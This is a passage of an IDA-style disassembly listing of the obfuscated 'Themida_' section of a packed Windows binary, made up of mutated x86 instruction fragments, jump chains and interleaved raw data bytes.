		dd 5492C381h, 8B5D276Bh, 0C4832434h, 0E9FB0104h, 20E2h
; ---------------------------------------------------------------------------


loc_55DE80:				; CODE XREF: Themida_:0055E3CCj
		add	edi, edx
		pop	edx
		sub	ebp, 6BFC04A3h
		add	ebp, edi
		add	ebp, 6BFC04A3h
		jmp	loc_5676B3
; ---------------------------------------------------------------------------


loc_55DE96:				; CODE XREF: Themida_:0056783Dj
		push	small 1C67h
		mov	[esp], cx
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 87h
		dd 4DE9242Ch
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DEAB:				; CODE XREF: Themida_:005673E2j
		pop	esi
		pop	edx
		xor	edi, ecx
		pop	ecx
		xor	edi, 756307B7h
		add	edi, 2F321D1Eh
		and	edi, 14EE08EEh
		add	edi, 0FE115F06h
		add	esi, edi
		jmp	loc_5562EF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 3C892424h, 81E78924h, 4C7h, 2FCE6800h, 34890000h, 0E9505324h
		dd 7B29h
; ---------------------------------------------------------------------------


loc_55DEEC:				; CODE XREF: Themida_:005635C7j
		pop	esp
		mov	[esp], esp
		jmp	loc_566696
; ---------------------------------------------------------------------------


loc_55DEF5:				; CODE XREF: Themida_:0055E2A8j
		pop	esp
		push	esi
		push	ecx
		push	3D02803h
		pop	ecx
		sub	ecx, 37ED4967h
		and	ecx, 50423FA2h
		dec	ecx
		and	ecx, 5DF1534Eh
		sub	ecx, 578631D0h
		xor	ecx, 0D0F2A815h
		jmp	loc_56558A
; ---------------------------------------------------------------------------
		dw 5656h
		dd 0FE95E54h, 51FFFFFAh, 0EF42ABB9h, 4BBB533Ah,	0C1498E11h
		dd 0C38103EBh, 3CF31829h, 23DCCB81h, 3DE972DAh,	68000070h
		dd 3CE8h, 0FF240C89h, 815E2434h, 4C4h, 0CC17E900h, 26BFFFFFh
		dd 890CB126h, 0BE565FF8h, 1, 0E95EF029h, 0FFFFF36Dh
; ---------------------------------------------------------------------------


loc_55DF78:				; CODE XREF: Themida_:0055C9E6j
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 26563BFCh
		add	ebx, edx
		add	ebx, 26563BFCh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_567FF9
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 62h
		dd 8167D50Fh, 313740E3h, 70E3810Eh, 513DFF24h, 4A3EADB9h
		dd 59CB3134h, 0FFCF61E9h, 433468FFh, 0C890000h,	7CFAE924h
		dd 34FFFFFFh, 2434FF24h, 5B87E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DFD5:				; CODE XREF: Themida_:00556D8Ej
		mov	[esp], edi
		pop	esi
		pop	edi
		jmp	loc_5657B4
; ---------------------------------------------------------------------------
		db 1
		dd 0BD555DEFh, 4, 875DEF01h, 215C243Ch,	0E99C2404h, 9220h
; ---------------------------------------------------------------------------


loc_55DFF8:				; CODE XREF: Themida_:005656CCj
		pop	ebp
		mov	ebp, esi
		mov	esi, [esp]
		jmp	loc_561393
; ---------------------------------------------------------------------------
		db 83h
		dd 5CE904C4h, 5D0000D0h, 5D80E9h, 81D6F700h, 0FE112EEEh
		dd 5EF0893Dh, 2BE9C101h, 0BFFFFFB7h, 71597137h,	8103E7C1h
		dd 9D54E3EFh, 5FFD015Dh, 0ED81DD01h, 2D2E34D5h,	4C5815Bh
		dd 87000000h, 248B242Ch, 7C76E924h, 3168FFFFh, 8100004Ah
		dd 4ECh, 24248900h, 4B850h, 3E90000h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E067:				; CODE XREF: Themida_:005640ECj
		or	edx, 5557301Fh
		xor	edx, 7067780Ch
		neg	edx
		add	edx, 0F904D57h
		add	eax, edx
		pop	edx
		sub	eax, 4
		jmp	loc_55F557
; ---------------------------------------------------------------------------
		dw 0C709h
		dd 85FBE9h, 240C8900h, 0FFADCDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E095:				; CODE XREF: Themida_:0055E226j
		add	esp, 4
		movzx	eax, ax
		push	ebp
		jmp	loc_5652C6
; ---------------------------------------------------------------------------
		dd 0E9242C89h, 0FFFFC48Fh, 0B7241C89h, 12EF80FCh, 47636851h
		dd 14890000h, 66D3B224h, 505CB753h, 0C188F888h,	8124048Bh
		dd 4C4h, 305B6600h, 0CF005AD1h,	98DDE9h, 0C8B6600h, 12076824h
		dd 78E90000h, 5B000009h, 5393BB53h, 0D9016F40h,	44F5E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E0FA:				; CODE XREF: Themida_:00561763j
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		jmp	loc_56A98E
; ---------------------------------------------------------------------------
		dd 4C7815Fh, 0E9000000h, 22C9h
; ---------------------------------------------------------------------------


loc_55E114:				; CODE XREF: Themida_:005562EAj
		mov	eax, 17352D61h
		and	edx, eax
		pop	eax
		add	edx, 33A427C2h
		xor	edx, 39A84906h
		add	edi, edx
		pop	edx
		jmp	loc_555E8C
; ---------------------------------------------------------------------------


loc_55E130:				; CODE XREF: Themida_:0056547Fj
		sub	ebx, 0FFFFFFFFh
		add	ebx, 6041004h
		mov	[edx], ebx
		pop	ebx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4


loc_55E143:				; CODE XREF: Themida_:loc_558DC9j
					; Themida_:005676CAj
		push	dword ptr [esp]
		pop	ebx
		push	6D02h
		mov	[esp], edx
		jmp	loc_56600A
; ---------------------------------------------------------------------------
		dd 0BB53505Dh, 254421C6h, 815BD889h, 1B1286EBh,	81C32913h
		dd 1B1286C3h, 4AD0E913h, 0D9890000h, 2434FF5Bh,	4C4815Eh
		dd 81000000h, 0D65998E9h, 81D10168h, 0D65998C1h, 2434FF68h
		dd 4C4835Ah, 0FF87A0E9h, 245401FFh, 24448108h, 133BB308h
		dd 24148B13h, 0FFB0FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E1AD:				; CODE XREF: Themida_:00558B84j
		sub	edi, 0E825104h
		jmp	loc_558552
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 0E95A2434h, 0BE9Bh
; ---------------------------------------------------------------------------


loc_55E1C4:				; CODE XREF: Themida_:00556085j
		or	eax, eax
		jnz	loc_5576EC
		push	5CC4h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_562B6F
; ---------------------------------------------------------------------------


loc_55E1E4:				; CODE XREF: Themida_:0055DA92j
		mov	edx, esp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_564371
; ---------------------------------------------------------------------------
		db 58h
		dd 0E95E5456h, 0FFFFE865h, 9C2C5D05h, 58C22907h, 0FFEEB8E9h
		dd 56068FFh, 2C890000h,	0D59CE924h, 34FFFFFFh, 0E9505A24h
		dd 8E63h
; ---------------------------------------------------------------------------


loc_55E220:				; CODE XREF: Themida_:0055820Dj
		sub	bx, si
		mov	esi, [esp]
		jmp	loc_55E095
; ---------------------------------------------------------------------------
		db 89h
		dd 5B54241Ch, 4C381h, 0B9510000h, 4, 8759CB01h,	248B241Ch
		dd 0D06AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E24A:				; CODE XREF: Themida_:0055F3F8j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 30275E61h
		push	ebx
		mov	ebx, 495C5FEEh
		and	ebp, ebx
		pop	ebx
		jmp	loc_569893
; ---------------------------------------------------------------------------
		db 80h
		dd 0DE2897C3h, 241C8B66h, 0E902C483h, 6827h
; ---------------------------------------------------------------------------


loc_55E274:				; CODE XREF: Themida_:0055E59Cj
		pop	ecx
		jmp	loc_55D0D5
; ---------------------------------------------------------------------------
		dw 45E9h
		dd 81FFFF7Ah, 4C5h, 74FF5500h, 2C8B0424h, 4C48324h, 8B24048Fh
		dd 29E92424h, 5AFFFF7Ah, 9359E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E2A2:				; CODE XREF: Themida_:0055948Cj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55DEF5
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 51h
		dd 1E4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E2B5:				; CODE XREF: Themida_:00557479j
		push	7A525B00h
		pop	ebx
		add	ebx, 0F8DC2309h
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55CC09
; ---------------------------------------------------------------------------


loc_55E2D1:				; CODE XREF: Themida_:00559B6Aj
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_55E5A1
; ---------------------------------------------------------------------------
aGd		db '- G„',0
		dw 0DE68h
		dd 8900001Dh, 0C789243Ch, 363EE9h, 5FF83100h, 0FF79C7E9h
		dd 240C89FFh, 703927B9h, 2E9C110h, 657BE981h, 0BD554DF6h
		dd 179F7867h, 0FFAFACE9h, 7331B9FFh, 0E9817E50h, 62EE7276h
		dd 91E9CD29h, 31000012h, 4332404h, 24248B24h, 3EF2E9h
		dd 4C48300h, 3C7DC281h,	0B95177DFh, 0C452158h, 0E959CA01h
		dd 0B486h, 42474FFh, 83241C8Bh,	48F04C4h, 24248B24h, 507E9h
		dd 7ABB5300h, 1F15BE1h,	0EEE95BDAh
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E373:				; CODE XREF: Themida_:00567BF6j
		pop	edx
		inc	ebx
		jmp	loc_556BFF
; ---------------------------------------------------------------------------
aGbqcEbqxWpsK	db 'Gïç&ÄeïxìW¯é»Š',0
		align 4


loc_55E38C:				; CODE XREF: Themida_:0056060Bj
		pop	ebx
		sub	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	cx
		jmp	loc_56364C
; ---------------------------------------------------------------------------


loc_55E39F:				; CODE XREF: Themida_:0056A8CBj
		add	edx, ebp
		jmp	loc_55DB32
; ---------------------------------------------------------------------------


loc_55E3A6:				; CODE XREF: Themida_:00561AE7j
		add	eax, 0CD5B102h
		and	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 55191470h
		not	edx
		dec	edx
		xor	edx, 73563C5Bh
		inc	edx
		add	edx, 12410025h
		jmp	loc_55DE80
; ---------------------------------------------------------------------------
		db 0B9h, 3Bh, 23h
		dd 0C1815081h, 33862566h, 0FFF5CBE9h, 3AB6BAFFh, 0AFE9064Dh
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E3EB:				; CODE XREF: Themida_:0055F16Bj
		dec	ecx
		jmp	loc_556C86
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9240C89h, 9741h
; ---------------------------------------------------------------------------


loc_55E3FC:				; CODE XREF: Themida_:005668D8j
		add	ebx, edx
		pop	edx
		add	ebx, eax
		sub	ebx, 49D3524Bh
		push	edx
		push	7904776Ch
		pop	edx
		jmp	loc_55F163
; ---------------------------------------------------------------------------


loc_55E413:				; CODE XREF: Themida_:0055CB7Dj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebx
		mov	ebx, 860425D2h
		jmp	loc_55F387
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 392110BBh, 8BD9294Eh, 55E9241Ch, 81000013h, 0CC618AEAh
		dd 554E944h, 0C3810000h, 4, 0E15E9h, 14F75600h,	24348B24h
		dd 4C481h, 0D6F70000h, 2414F756h, 81DEF75Eh, 0A6F68F6h
		dd 0BC685105h, 591D0C16h, 0EAB5F181h, 0CE01A648h, 0B851E9h
		dd 0C6815E00h, 4, 0FF8FA0E9h, 5E3C1FFh,	15CE9h,	81CE0100h
		dd 6A2D1DEEh, 0E3EE817Dh, 591AB340h, 2474FF56h,	48F5E04h
		dd 95E4E924h, 0B9BE0000h, 1568599h, 0C14659CEh,	0BF5702E6h
		dd 62D7A780h, 6424C681h, 0FE01680Eh, 6424EE81h,	15F680Eh
		dd 24348BF2h, 4C481h, 0EC830000h, 24048904h, 45B95152h
		dd 0F7065B29h, 12E181D9h, 0F7103649h, 0EFF181D1h, 89EFDBBFh
		dd 41E959CAh, 0D1FFFFEBh, 6EDC1EDh, 0A815E955h,	0FA680000h
		dd 5A737D1Ah, 9B80EA81h, 0EDE91270h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E51B:				; CODE XREF: Themida_:00568096j
		shr	ecx, 6
		push	ecx
		xchg	edx, [esp]
		not	edx
		jmp	loc_5596AE
; ---------------------------------------------------------------------------


loc_55E529:				; CODE XREF: Themida_:0055E804j
		sub	edi, 2346268h
		xor	edi, 51C97CF2h
		sub	edi, 7EA462h
		add	ecx, edi
		pop	edi
		pop	edx
		push	ebp
		mov	ebp, 12437421h
		shr	ebp, 8
		jmp	loc_559BC1
; ---------------------------------------------------------------------------
		db 28h,	0D8h, 66h
		dd 0C8B1515Bh, 0C8BC828h, 4C48124h, 68000000h, 1376h, 0E9241489h
		dd 0FFFFA627h, 592434FFh, 0B557E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E576:				; CODE XREF: Themida_:00565F99j
		or	ecx, 31E76165h
		xor	ecx, 3CCB5BF2h
		and	ecx, 6BC00E21h
		xor	ecx, 6E1B7180h
		push	ebx
		push	ecx
		mov	ecx, 35A26DDFh
		mov	ebx, 0E1311B9Eh
		add	ebx, ecx
		jmp	loc_55E274
; ---------------------------------------------------------------------------


loc_55E5A1:				; CODE XREF: Themida_:0055E2DCj
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 32940C0Fh
		mov	edx, 3B88635Fh
		xor	edx, ebp
		pop	ebp
		sub	ebx, edx
		pop	edx
		sub	ebx, eax
		jmp	loc_55B379
; ---------------------------------------------------------------------------
aAN0usmk	db '€Ån0î錊',0
		dw 5600h
		dd 631339BEh, 5EF52123h, 8EFDE9h, 4EC8100h, 89000000h
		dd 0D0BD242Ch, 810BC33Ah, 8E5072F5h, 1FE58120h,	0F7220D6Ch
		dd 0C4E581D5h, 8106F46Ch, 0CB6FFCC5h, 5DEB0121h, 7303CB81h
		dd 0C38125A7h, 0FFFFFFFFh, 6BA4C381h, 0F38137B7h, 375F5F24h
		dd 15BDE89h, 3C335EF7h,	243C3124h, 8B243C33h, 0F662424h
		dd 9C2404BBh, 0FF7677E9h, 0DA6859FFh, 8900000Dh, 0B2B82404h
		dd 0E968CB19h, 0FFFF8124h, 546568h, 243C8900h, 277E9h
		dd 2414F700h, 0AF5DE9h,	52E68900h, 0D355ECBAh, 0F7D2F73Ah
		dd 3FCA81D2h, 817F5032h, 4302A6EAh, 0E30DE914h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E692:				; CODE XREF: Themida_:0055D0FAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 0Bh
		add	bl, 0
		jmp	loc_555DD0
; ---------------------------------------------------------------------------


loc_55E6AF:				; CODE XREF: Themida_:0055AB09j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55F882
; ---------------------------------------------------------------------------


loc_55E6C7:				; CODE XREF: Themida_:00564A7Dj
		sub	[esp+4], edx
		pop	edx
		pop	edx
		push	esi
		push	1D84h
		jmp	loc_55FF1C
; ---------------------------------------------------------------------------


loc_55E6D8:				; CODE XREF: Themida_:00568F5Cj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55F6D0
; ---------------------------------------------------------------------------


loc_55E6E8:				; CODE XREF: Themida_:005570F4j
		push	4DBAh
		mov	[esp], edx
		mov	edx, 57F72F52h
		inc	edx
		dec	edx
		not	edx
		dec	edx
		dec	edx
		jmp	loc_55CB75
; ---------------------------------------------------------------------------
		dd 5C240C87h, 50240C89h, 144BFA68h, 9105582Ch, 89157B1Fh
		dd 0C18158C1h, 0BE709573h, 8B1C4F21h, 0E953240Ch, 35C5h
		dd 0EB81C301h, 153F2623h, 0A205E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E735:				; CODE XREF: Themida_:00562D17j
		push	eax
		mov	eax, 76657A71h
		sub	[esp+4], eax
		pop	eax
		jmp	loc_55FE55
; ---------------------------------------------------------------------------


loc_55E745:				; CODE XREF: Themida_:00563556j
		pop	eax
		shl	eax, 6
		jmp	loc_556F0A
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 815B5424h, 4C3h, 4EC8300h, 0BE243489h, 1D355E83h, 6DEFE9h
		dd 4BE5600h, 1000000h, 0F0E95EF7h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E777:				; CODE XREF: Themida_:0055A644j
		add	bl, 2Bh
		add	bl, 1Ah
		push	ecx
		mov	cl, 0D8h
		sub	cl, 0A2h
		xor	cl, 1Dh
		sub	cl, 0ADh
		sub	cl, 0CEh
		add	bl, cl
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_56519A
; ---------------------------------------------------------------------------
		db 80h
		dd 536627F7h, 0FF8C8CE9h, 238DB8FFh, 0C231592Ah, 0E9D60158h
		dd 0FFFFB92Dh, 4C4835Bh, 0D23E9h, 4055800h, 0E9000000h
		dd 503h, 4055854h, 83000000h, 84E904ECh
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E7D7:				; CODE XREF: Themida_:005606E5j
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4C12534Fh
		add	ecx, eax
		add	ecx, 4C12534Fh
		sub	ecx, 419A16A5h
		jmp	loc_558559
; ---------------------------------------------------------------------------


loc_55E7F9:				; CODE XREF: Themida_:0055F2DDj
		mov	edi, 7C7E2A23h
		and	edi, 5311BB2h
		jmp	loc_55E529
; ---------------------------------------------------------------------------


loc_55E809:				; CODE XREF: Themida_:0056280Aj
		and	ecx, 63EC0420h
		jmp	loc_555F5B
; ---------------------------------------------------------------------------
		dd 1BA6BB53h, 0DD89732Bh, 81241C8Bh, 4C4h, 0D6BBE900h
		dd 468FFFFh, 5E000000h,	98A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E835:				; CODE XREF: Themida_:00564A36j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55C36A
; ---------------------------------------------------------------------------
		dd 42474FFh, 0AAAAE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E84A:				; CODE XREF: Themida_:00566F63j
		add	dword ptr [esp], 18B74E36h
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 18B74E36h
		jmp	loc_5576E2
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C4h
		dd 4, 109968h, 24148900h, 0BE56E289h, 1CD2520Ah, 0A83BE946h
		dd 815F0000h, 0D87F6FEFh, 81D7F706h, 0F952D8F7h, 57C7812Ch
		dd 81333D74h, 0DC8D9EFh, 5FF909F7h, 40D5E9h, 39426800h
		dd 6E90000h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E8AF:				; CODE XREF: Themida_:0055696Dj
		add	ax, 6B45h
		push	edi
		mov	di, 479Ch
		push	si
		mov	si, 0D170h
		jmp	loc_559212
; ---------------------------------------------------------------------------


loc_55E8C3:				; CODE XREF: Themida_:00568C5Dj
		shr	edx, 4
		sub	edx, 0FFFFFFFFh
		inc	edx
		xor	edx, 2DEA292Dh
		and	edx, 4892767Fh
		sub	edx, 0BCDC5C00h
		jmp	loc_55D5D0
; ---------------------------------------------------------------------------
		dd 7999BB53h, 84BF3652h, 0E945FDA8h, 0CFDh, 5C242C87h
		dd 57240C89h, 0CC2649BFh, 0A6C3E967h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E906:				; CODE XREF: Themida_:005657F4j
		push	4C42h
		mov	[esp], ebx
		push	edi
		mov	edi, 6F1656A8h
		mov	ebx, 80E7A8D4h
		add	ebx, edi
		jmp	loc_55D796
; ---------------------------------------------------------------------------


loc_55E920:				; CODE XREF: Themida_:0055BF90j
		add	dword ptr [esp+4], 71930B2Bh
		push	3D6h
		jmp	loc_56362D
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24148924h, 7AE9E289h, 5A000014h, 34FFC701h, 77E95824h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E94B:				; CODE XREF: Themida_:00562F8Bj
		sub	ebx, 45536220h
		jmp	loc_562043
; ---------------------------------------------------------------------------


loc_55E956:				; CODE XREF: Themida_:00568EE1j
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55A5A7
; ---------------------------------------------------------------------------


loc_55E960:				; CODE XREF: Themida_:0055ED96j
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	54C1h
		jmp	loc_56878D
; ---------------------------------------------------------------------------
		dd 0DE3EF5BBh, 8BDF891Ah, 0F3E9241Ch, 1000014h,	0E0A6E9FAh
		dd 2C89FFFFh, 0CFD7E924h, 0C201FFFFh, 618AC281h, 0A1E944CCh
		dd 5EFFFF8Ah, 33C3C181h, 0E9815211h, 2A2E21A3h,	0E959CB31h
		dd 57Ah, 0DCE9F889h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55E9BF:				; CODE XREF: Themida_:0055C8BDj
		xor	ecx, 0CB9CDF95h
		push	edx
		jmp	loc_5639F9
; ---------------------------------------------------------------------------


loc_55E9CB:				; CODE XREF: Themida_:0056427Fj
		mov	eax, 4
		jmp	loc_56159B
; ---------------------------------------------------------------------------
		db 0BBh, 7Dh, 64h
		dd 0EB816192h, 70236425h, 0DC1EB81h, 0EB814011h, 4B235C7Dh
		dd 393DEB81h, 0DE29F726h, 0BAED815Bh, 15FBC2Bh,	0BAC581F5h
		dd 0FF5FBC2Bh, 0E95E2434h, 68FBh
; ---------------------------------------------------------------------------


loc_55EA0C:				; CODE XREF: Themida_:00569B63j
		mov	[esp], esi
		jmp	loc_563665
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 4C481h, 0C4830000h, 68D23104h, 3947h, 57240C89h
		dd 0F989DF89h, 1A74685Fh, 0C890000h, 0BB685024h, 8B1AD337h
		dd 4F682404h, 89000068h, 5E542434h, 4C681h, 0C6810000h
		dd 4, 8B243487h, 6BE92424h, 89FFFFF3h, 0E189240Ch, 0BB535755h
		dd 0E3B2CE4h, 0D62BBDBFh, 0D776E95Ah, 98BBFFFFh, 8128B80Eh
		dd 1EBh, 88B95100h, 0F702BA74h,	0CDF9E9D1h, 0E95DFFFFh
		dd 90ACh, 7011B951h, 73E96D44h,	8BFFFF81h, 0C483241Ch
		dd 0EF7E904h, 0E9550000h, 8A7Ch, 1C8BFE20h, 4C48324h, 8026E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EAC1:				; CODE XREF: Themida_:0055C2EDj
		pop	ecx
		add	edx, edi
		jmp	loc_55A683
; ---------------------------------------------------------------------------
		db 81h,	2 dup(0F7h)
		dd 51042C04h, 7E175DB9h, 7D3CE977h, 2C890000h, 1D3DBD24h
		dd 0EE317D14h, 0BCF6815Dh, 0E969917Fh, 0FFFFE3D0h, 0A1E9D0F7h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EAF7:				; CODE XREF: Themida_:00567254j
		push	dword ptr [esp]
		jmp	loc_558201
; ---------------------------------------------------------------------------
		db 68h
		dd 0
		dd 5E243429h, 2120CE81h, 0C6816CA9h, 0D7D8EE4Fh, 0E95EF789h
		dd 0ADEFh
; ---------------------------------------------------------------------------


loc_55EB1C:				; CODE XREF: Themida_:0055B1B5j
		inc	edi
		shr	edi, 7
		jmp	loc_5580AA
; ---------------------------------------------------------------------------


loc_55EB25:				; CODE XREF: Themida_:00555EC4j
		push	25BFh
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_55A3FF
; ---------------------------------------------------------------------------
		dd 34FFFD01h, 89505F24h, 84E6E9E0h, 4050000h, 50000000h
		dd 42474FFh, 8324048Bh,	48F04C4h, 70B2E924h, 665B0000h
		dd 81241C8Bh, 2C4h, 2CB72C00h, 5A2EE9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EB72:				; CODE XREF: Themida_:0055D4D9j
		mov	esi, [esp]
		push	5567h
		jmp	loc_55F0FA
; ---------------------------------------------------------------------------
aZsg		db 'Zé£(',0
		dd 24043300h, 33240431h, 0E95C2404h, 4C8Ah
; ---------------------------------------------------------------------------


loc_55EB94:				; CODE XREF: Themida_:00555E55j
		mov	ebx, [esp]
		jmp	loc_5674E2
; ---------------------------------------------------------------------------
		dd 6DE3815Bh, 81317E45h, 500A81F3h, 5BD80149h, 4EC81h
		dd 3C890000h, 7C9FBF24h, 0E8E91126h, 81000064h,	4C4h, 54A0E900h
		dd 2C8B0000h, 228DE924h, 48B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_568377
; ---------------------------------------------------------------------------


loc_55EBED:				; CODE XREF: Themida_:00561DD9j
		push	eax
		jmp	loc_55DE53
; ---------------------------------------------------------------------------
		db 68h
		dd 1B4Ch, 24048F54h, 0BE1E950h,	0E3880000h, 8124048Bh
		dd 4C4h, 0E9E3D000h, 6
; ---------------------------------------------------------------------------


loc_55EC14:				; CODE XREF: Themida_:0055F73Aj
		pop	esp
		jmp	loc_560480
; ---------------------------------------------------------------------------
		dw 0EBC0h
		dd 2EBC008h, 471F380h, 2CD82832h, 2434FF32h, 4C4815Bh
		dd 0E9000000h, 0BE16h, 0C581DDF7h, 4BA6F722h, 8AE9E929h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EC47:				; CODE XREF: Themida_:0055A51Cj
		sub	esp, 4
		mov	[esp], ebp
		push	2CAD77F8h
		pop	ebp
		jmp	loc_55F444
; ---------------------------------------------------------------------------
		dd 515FFD01h, 0FF81BFE9h, 2981BFFFh, 0C781571Fh, 1, 5E1CCF81h
		dd 0F781306Bh, 777F7F9Ah, 89F88950h, 815F58C1h,	43457CEBh
		dd 0B6E9517Ch, 1FFFFEFh, 240C8BCBh, 4C481h, 70E90000h
		dd 0C1FFFFA2h, 0BA5208EFh, 644E15F3h, 3540CA81h, 0ECE944ADh
		dd 0F7000081h, 0D9EF81D7h, 124EA37h, 0C3815FFBh, 6B3C2844h
		dd 835C381h, 51E967CCh,	57000075h, 4BFh, 5FF80100h, 2042E9h
		dd 241C8900h, 0C381E389h, 4, 921FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55ECE9:				; CODE XREF: Themida_:0055A05Bj
		or	dl, 24h
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 74h
		xor	bl, 2Dh
		jmp	loc_555CD5
; ---------------------------------------------------------------------------


loc_55ECFD:				; CODE XREF: Themida_:0056219Fj
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56AFF8
; ---------------------------------------------------------------------------
		db 0C1h
		dd 505206E8h, 68136268h, 7BA7E90Fh, 5455FFFFh, 7CBB535Dh
		dd 0C11D6E1Dh, 0F38103E3h, 7BAB3190h, 0E907E3C1h, 47F2h
		dd 46868h, 4076E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED3A:				; CODE XREF: Themida_:0055ABB8j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_569C8A
; ---------------------------------------------------------------------------


loc_55ED43:				; CODE XREF: Themida_:005699DDj
		mov	[esp], eax
		push	ebx
		mov	ebx, 4A4A5A2Dh
		jmp	loc_565C70
; ---------------------------------------------------------------------------


loc_55ED51:				; CODE XREF: Themida_:005602A5j
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_563F44
; ---------------------------------------------------------------------------
		db 0F7h
		dd 3E8C1D0h, 2A754B2Dh,	0E0C2357Bh, 72E97B7Dh
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED73:				; CODE XREF: Themida_:0055AA2Dj
		xor	eax, edx
		pop	edx
		push	786Fh
		mov	[esp], edx
		push	3249h
		jmp	loc_56449C
; ---------------------------------------------------------------------------


loc_55ED88:				; CODE XREF: Themida_:0056AB35j
		add	esp, 4
		add	esp, 4
		and	eax, ebp
		jmp	loc_55E960
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8358C729h, 48904ECh,	3E0FB824h, 0F7E94FB3h, 81FFFF73h
		dd 0D158AFE9h, 0B5E9814Ah, 0E9281C1Fh, 3997h
; ---------------------------------------------------------------------------


loc_55EDC0:				; CODE XREF: Themida_:00556046j
		mov	al, bh
		pop	ebx
		add	cl, al
		pop	ax
		sub	bl, cl
		mov	ecx, [esp]
		push	201Fh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		movzx	eax, al
		jmp	loc_5571B2
; ---------------------------------------------------------------------------
		dd 4C381h, 1C870000h, 14875C24h, 24248B24h, 24040966h
		dd 6EAAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EE1A:				; CODE XREF: Themida_:0055BCF5j
		add	ecx, ebp
		jmp	loc_5608A4
; ---------------------------------------------------------------------------


loc_55EE21:				; CODE XREF: Themida_:0055739Fj
